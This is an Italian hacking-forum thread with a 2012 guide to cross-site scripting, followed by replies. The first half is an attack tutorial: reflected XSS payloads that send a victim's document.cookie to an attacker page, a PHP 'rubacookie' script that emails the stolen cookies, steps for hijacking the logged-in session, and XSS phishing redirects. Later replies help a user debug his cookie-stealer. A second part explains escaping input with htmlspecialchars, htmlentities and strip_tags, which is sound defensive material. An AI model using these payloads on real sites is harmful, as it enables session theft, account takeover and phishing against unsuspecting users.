[GUIDA] XSS - Cross Site Scripting (UPDATE 2012!)

Stato
Discussione chiusa ad ulteriori risposte.

Stefano Novelli

Fondatore
Amministratore
19 Novembre 2007
7,113
821
8,180
3,236
Ultima modifica da un moderatore:
PARTE 1: ATTACCARE CON LE XSS

+ Difficoltà: Media
+ Conoscenze necessarie: HTML, Javascript
+ Autore : murdercode
+ Email : murdercode(at)gmail(dot)com
+ Sito : http://www.inforge.net
# Licenza e Condizioni (Disclaimer)
Il seguente documento è da ritenersi a puro scopo informativo . Io , Stefano Novelli (alias "murdercode") , non mi assumo
alcuna responsabilità circa l'uso delle informazioni presenti in questo documento .
I link esterni non sono sotto il totale controllo dello staff di Inforge ( http://www.inforge.net ) .
L'autore si riserva il diritto di aggiornare la licenza di utilizzo del documento e le relative condizioni senza la comunicazione pubblica.
Il seguente documento è protetto da licenza Creative Commons 2.5 Italia .
Note dall'autore : il seguente testo può essere utilizzato per la pubblicazione su altri portali esterni dalla comunità di hacking italiana Inforge.net , purchè non modificato in ogni sua parte . In caso di un eventuale copia-incolla su altri portali evitare di utilizzare i tag code , quote o altri che possono modificare la formattazione di tale documento .

HOW TO - Come Sfruttare le XSS (Cross Site Scripting)

# Introduzione
(Attenzione, in questa guida si danno per scontati numerosi termini, se non ne conosci uno informati prima di proseguire, o non sarai mica un lamer?!?)
La tecnica del Cross Site Scripting (XSS,una sigla da non confondere con CSS , un linguaggio di programmazione markup dedicato esclusivamente alla formattazione di testo e dati sul web) fa parte della famiglia dei "code injection" e può rappresentare un pericolo di sicurezza su qualsiasi server , piattaforma , di qualsiasi linguaggio web , dinamico o statico.
Tale tecnica consiste nel far iniettare ad una vittima codice scripting (in questo caso Javascript) all'interno di una pagina web; tale codice andrà poi a recuperare informazioni riservate dell'utente (e del suo browser) e inoltrarle all'attacker.

# Trovare una XSS
Come abbiamo detto la tecnica del cross site scripting consiste nel far eseguire al browser degli script non originari . Quello che dobbiamo fare è far si che la pagina contenga del codice (preferibilmente javascript) all'interno della pagina , avendo così la possibilità di sfruttarla. Vediamo come funziona brevemente :
Prendiamo ad esempio un motore di ricerca . Avrà una input dove verranno inseriti dei dati , come nell'esempio :
HTML:
<form id="form1" name="form1" action="pippo.php" method="get"><input type="text" id="cerca" name="cerca" value="lamiaricerca"></form>
Ipotizziamo che il valore che inseriamo dentro la input ha come valore pippo, quindi il risultato sarà:
HTML:
<input type="text" id="cerca" name="cerca" value="pippo">
Vediamo ora come far eseguire del codice Javascript .
Se noi andremo a cercare la stringa "><script>alert("xss");</script> uscirà fuori questo tipo di input :
HTML:
<input type="text" id="cerca" name="cerca" value=""><script>alert("xss");</script>">
Quindi la input viene chiusa e viene eseguito il javascript .
Ovviamente esistono altre mille modi , altro esempio :
HTML:
<textarea>lanostraricerca</textarea>
Dando il valore </textarea><script>alert("xss");</script><textarea> uscirà qualcosa del genere :
HTML:
<textarea></textarea><script>alert("xss");</script><textarea></textarea>
E' possibile fare ciò anche per i background , bgcolor , parametri p e tutti quei parametri che possono essere inviati tramite GET o POST o assegnati dalla querystring del browser .

# Riconoscere una XSS buona da una cattiva
Solitamente esistono due tipi di XSS : quelle pubbliche e quelle private .
1. Per XSS pubblica intendiamo una vulnerabilità che risiede su un CMS o su una struttura web dedicata all'utilizzo
di terze parti .
2. Per XSS privata intendiamo una vulnerabilità che risiede in un sito web con CMS privato , quindi non pubblico dove l'utilizzo di tale CMS è riservato solo al server che lo utilizza .

Quando si parla di XSS che grabba (quindi buona) vuol dire che è possibile sfruttare quella vulnerabilità per impossessarsi solitamente dei cookie di chi andrà a visitare il link . Qualora la XSS non grabba (quindi cattiva) può essere comunque utilizzata per fare azioni di Phishing .

# Sfruttare una XSS buona
Solitamente ci capiterà di vedere qualcosa tipo
Codice:
www.sito.it/pagina.php?variabile="><script>alert(document.cookie)</script>
oppure tipo
Codice:
www.sito.it/pagina.php?variabile=">[XSS]
Vien da se che il codice <script> e [XSS] sono la stessa cosa.
In questo modo è possibile inviare la vittima di turno (a cui prendermo i cookie) verso una pagina costruita da noi dove invieremo in metodo GET (quindi tramite barra degli indirizzi) il valore dei cookie .
Dal codice visto precedentemente costruiamo un redirect verso una nostra pagina che costruiremo poi in php .
Codice:
www.sito.it/pagina.php?variabile="><script>location.href="SITO"+document.cookie;</script>
Dove SITO verrà sostituito con
[code]www.nostrosito.it/rubacookie.php?cookie=
Andiamo ora a costruire la pagina rubacookie.php
PHP:
<?
mail("[email protected]","Abbiamo rubato i cookie",$_GET['cookie']);
?>
In questo modo invieremo a noi stessi una mail con i cookie rubati .
Cosa ce ne facciamo ?
Incolliamo i cookie nel nostro computer (esistono milioni di Cookie Manager per i browser)
refreshiamo la pagina dove abbiamo rubato i cookie e , se abbiamo fatto tutto correttamente , dovremo ritrovarci loggati come user rubato .Da qui vola l'immaginazione.

# Sfruttare una XSS cattiva
Riprendendo il discorso di come è strutturata una XSS possiamo sfruttarla comunque . Spiego : anche se non è possibile rubare i cookie possiamo sempre redirectare la vittima verso una pagina creata da noi , in questo caso parliamo di phishing .
Per effettuare del phishing ci basterà costruire la XSS in questo modo :
Codice:
www.sito.it/pagina.php?variabile="><script>location.href="www.nostrosito.it/phishing.htm";</script>
A questo punto ci basta costruire la pagina phishing.htm , magari riprendendo la stessa struttura grafica e le stesse funzionalità del sito che abbiamo scelto di attaccare .


PARTE 2: DIFENDERSI DALLE XSS

-------------------------------
Autore: Langy
Data: 19-02-2008
Copyright: GoogleBig

-------------------------------

Link utili:
http://www.gnucitizen.org/xssdb/application.htm (Attack Database)
XSSed | Cross Site Scripting (XSS) attacks information and archive (Mirror Archive of Vulnerable Websites)
XSS (Cross Site Scripting) Cheat Sheet (XSS Cheat sheet)
DeXSS -- Java program for removing JavaScript from HTML (Removing JavaScript from HTML)

Cross-site scripting - Wikipedia, the free encyclopedia

PHP: htmlentities - Manual
PHP: htmlspecialchars - Manual
PHP: strip_tags - Manual
-------------------------------

Per fixare il problema delle xss dobbiamo usare una delle 2 funzioni di php.

Querste funzioni non fanno altro che ripulire il codice HTML, ovvero i tag, per non far si' che questi vengano iniettati nel codice.

La funzione piu' utilizzata e' htmlspecialchars() che tramuta tutti i caratteri < e > in &lt; e &gt;

Un'altra opzione e' htmlentities() che sostituisce tutti i caratteri nelle corrispondenti entita'.

PHP:
<?
// questa pagina mostra un esempio 
// delle differenze di output tra le 2 funzioni

$input = '<script>alert(1);</script>';

echo htmlspecialchars($input) . '<br />';
echo htmlentities($input);

?>

Un esempio di htmlentities()
PHP:
<?php
$str = "A 'quote' is <b>bold</b>";

echo htmlentities($str);
echo htmlentities($str, ENT_QUOTES);
?>

Il primo visualizzera' --> A 'quote' is &lt;b&gt;bold&lt;/b&gt;
Il secondo --> A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;

Esempio di uso di htmlspecialchars()
PHP:
<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new;
?>
Questo visualizzera' --> &lt;a href='test'&gt;Test&lt;/a&gt;

La funzione strip_tags(), invece, elimina tutti gli elementi html, tranne alcuni elementi consentiti che bisogno specificare come ad esempio <i>, <b> o <p>.

Esempio di uso di strip_tags()
PHP:
<?php
$text = '<p>Test paragraph.</p><!-- Comment --> Other text';
echo strip_tags($text);

echo "\n";
// allow <p>
echo strip_tags($text, '<p>');
?>


Ora che sappiamo per lo meno che esistono queste funzioni gia' belle e pronte dobbiamo andarle ad applicare nel codice quando troviamo una xss sulla nostra web application.

Recentemente ho trovato una xss sul mio sito in una sezione dei video di GoogleBig che altro non e' che un plugin di Mybb, vi posto una porzione di codice per rendere l'idea di come ho dovuto applicare la funzione per far si' che nella ricerca dei video venissero filtrati i tag html.

Troviamo prima di tutto la pagina in questione: search.php

Ora andiamoci a cercare la porzione di codice che rende disponibile la ricerca, la query e l'output del risultato della query:

PHP:
function search($query, $page)

{

    global $db, $bgcolor2, $bgcolor4, $sitename, $io_db, $module_url, $list_page_items, $hm_index;

    $option = trim($option);

    $query = trim($query);

    $query = FixQuotes(nl2br(filter_text($query)));

    $db->escape_string($query);

    $db->escape_string($option);

        alpha_search($query);
    ...

In questo caso la variabile che passa i valori e' $query quindi andiamo ad applicare la funzione htmlentities():

PHP:
    $query = FixQuotes(nl2br(filter_text(htmlentities($query))));

Se avete problemi postate qui, oppure consultate i manuali di php su queste 3 funzioni che abbiamo visto:

PHP: htmlentities - Manual
PHP: htmlspecialchars - Manual
PHP: strip_tags - Manual



Dedicato a Infernet​
 
che palle queste guide alle xss girano dappertutto... le insegnano prima della canzone della vecchia fattoria!
 
ragazzi io ho fatto cosi:
ho inserito questo script in un argomento del mio blog:
Codice:
http://miosito.altervista.org/index.php?variabile="><script>location.href="[/FONT][/COLOR][COLOR=#333333][FONT=Verdana]http://miosito.altervista.org[/FONT][/COLOR][LEFT][COLOR=#333333]/rubacookie.php?cookie=[/COLOR][/LEFT][COLOR=#333333][FONT=Verdana]"+document.cookie;</script>
poi ho creato il file rubacookie.php chiamandolo rubacookie.php e gli ho inserito il seguente script:
[/FONT][/COLOR][LEFT][COLOR=#0000BB][FONT=monospace]<?
mail[/FONT][/COLOR][COLOR=#007700][FONT=monospace]([/FONT][/COLOR][COLOR=#DD0000][FONT=monospace]"[email protected]"[/FONT][/COLOR][COLOR=#007700][FONT=monospace],[/FONT][/COLOR][COLOR=#DD0000][FONT=monospace]"Abbiamo rubato i cookie"[/FONT][/COLOR][COLOR=#007700][FONT=monospace],[/FONT][/COLOR][COLOR=#0000BB][FONT=monospace]$_GET[/FONT][/COLOR][COLOR=#007700][FONT=monospace][[/FONT][/COLOR][COLOR=#DD0000][FONT=monospace]'cookie'[/FONT][/COLOR][COLOR=#007700][FONT=monospace]];
[/FONT][/COLOR][COLOR=#0000BB][FONT=monospace]?>
credo di aver fatto tutto bene quindi come mai non funziona?alla email non mi arrivano i cookie.[/FONT][/COLOR][/LEFT]
 
Ultima modifica:
Perchè nel tuo specifico caso devi mettere $_GET['Variabile'];
Perchè nell'url hai assegnato quel valore alla variabile "Variabile" e non alla variabile "cookie"..

E tra l'altro hai fatto il copia e incolla del cosice di murdercode che è sbagliato (errore di distrazione immagino) perchè hai dimwnticato la parentesi prima del ";"..

Un consigliO da amico, studiati un pó di Php, ti farà bene :)
 
grazie x la risposta,quindi il rubacookie.php devo crearlo cosi?
<?
mail
(
,
"Abbiamo rubato i cookie"
,
$_GET
[
'variabile'
];
?>
e poi dove sta
";".. che non lo vedo
 
ragazzi io ho fatto cosi:
ho inserito questo script in un argomento del mio blog:
Codice:
http://miosito.altervista.org/index.php?variabile="><script>location.href="[/FONT][/COLOR][COLOR=#333333][FONT=Verdana]http://miosito.altervista.org[/FONT][/COLOR][LEFT][COLOR=#333333]/rubacookie.php?cookie=[/COLOR][/LEFT]
[COLOR=#333333][FONT=Verdana]"+document.cookie;</script>
poi ho creato il file rubacookie.php chiamandolo rubacookie.php e gli ho inserito il seguente script:
[/FONT][/COLOR][LEFT][COLOR=#0000BB][FONT=monospace]<?
mail[/FONT][/COLOR][COLOR=#007700][FONT=monospace]([/FONT][/COLOR][COLOR=#DD0000][FONT=monospace]"[email protected]"[/FONT][/COLOR][COLOR=#007700][FONT=monospace],[/FONT][/COLOR][COLOR=#DD0000][FONT=monospace]"Abbiamo rubato i cookie"[/FONT][/COLOR][COLOR=#007700][FONT=monospace],[/FONT][/COLOR][COLOR=#0000BB][FONT=monospace]$_GET[/FONT][/COLOR][COLOR=#007700][FONT=monospace][[/FONT][/COLOR][COLOR=#DD0000][FONT=monospace]'cookie'[/FONT][/COLOR][COLOR=#007700][FONT=monospace]];
[/FONT][/COLOR][COLOR=#0000BB][FONT=monospace]?>
credo di aver fatto tutto bene quindi come mai non funziona?alla email non mi arrivano i cookie.[/FONT][/COLOR][/LEFT]
[/QUOTE]

Leggendo la tua ultima discussione creata mi viene di spontaneo una domanda , non vorrai mica cercare di rubare i cookie degli admin delle pagine di facebook ? :cucu:
 
grazie x la risposta,quindi il rubacookie.php devo crearlo cosi?
<?
mail
(
,
"Abbiamo rubato i cookie"
,
$_GET
[
'variabile'
];
?>
e poi dove sta
";".. che non lo vedo
:oddio:

1)Non serve che faccia il redirect con l'url dato che esiste l'array superglobale $_COOKIE, che con un semplice ciclo li ricavi tutti
2)il ';' sta alla fine del comando ._. non hai chiuso la parentesi in questo caso
3)Bitch please, non lamerare!
 
  • Mi piace
Reazioni: Mavin
Perchè nel tuo specifico caso devi mettere $_GET['Variabile'];
Perchè nell'url hai assegnato quel valore alla variabile "Variabile" e non alla variabile "cookie"..

E tra l'altro hai fatto il copia e incolla del cosice di murdercode che è sbagliato (errore di distrazione immagino) perchè hai dimwnticato la parentesi prima del ";"..

Un consigliO da amico, studiati un pó di Php, ti farà bene :)

anche tu da quanto vedo xD
la variabile GET cookie che ha messo è esatta poichè l'xss redirecta all'indirizzo:
<script>location.href="http://miosito.altervista.org/rubacookie.php?cookie="+document.cookie;</script>
dove cookie contiene appunti i cookies del sito !!! xD
 
Hai ragione, non presto attenzione quando scrivo dall' ipod e poi purtroppo io leggo e poi, dall'ipod, mentre scrivo non vedo il post al quale sto rispondendo (se hai un cellulare o qualcosa capisci, se no, non pretendo tu lo faccia) quindi faccio questi errori...Ho letto distrattamente tutto (vedesi errori di battitura)
 
Stato
Discussione chiusa ad ulteriori risposte.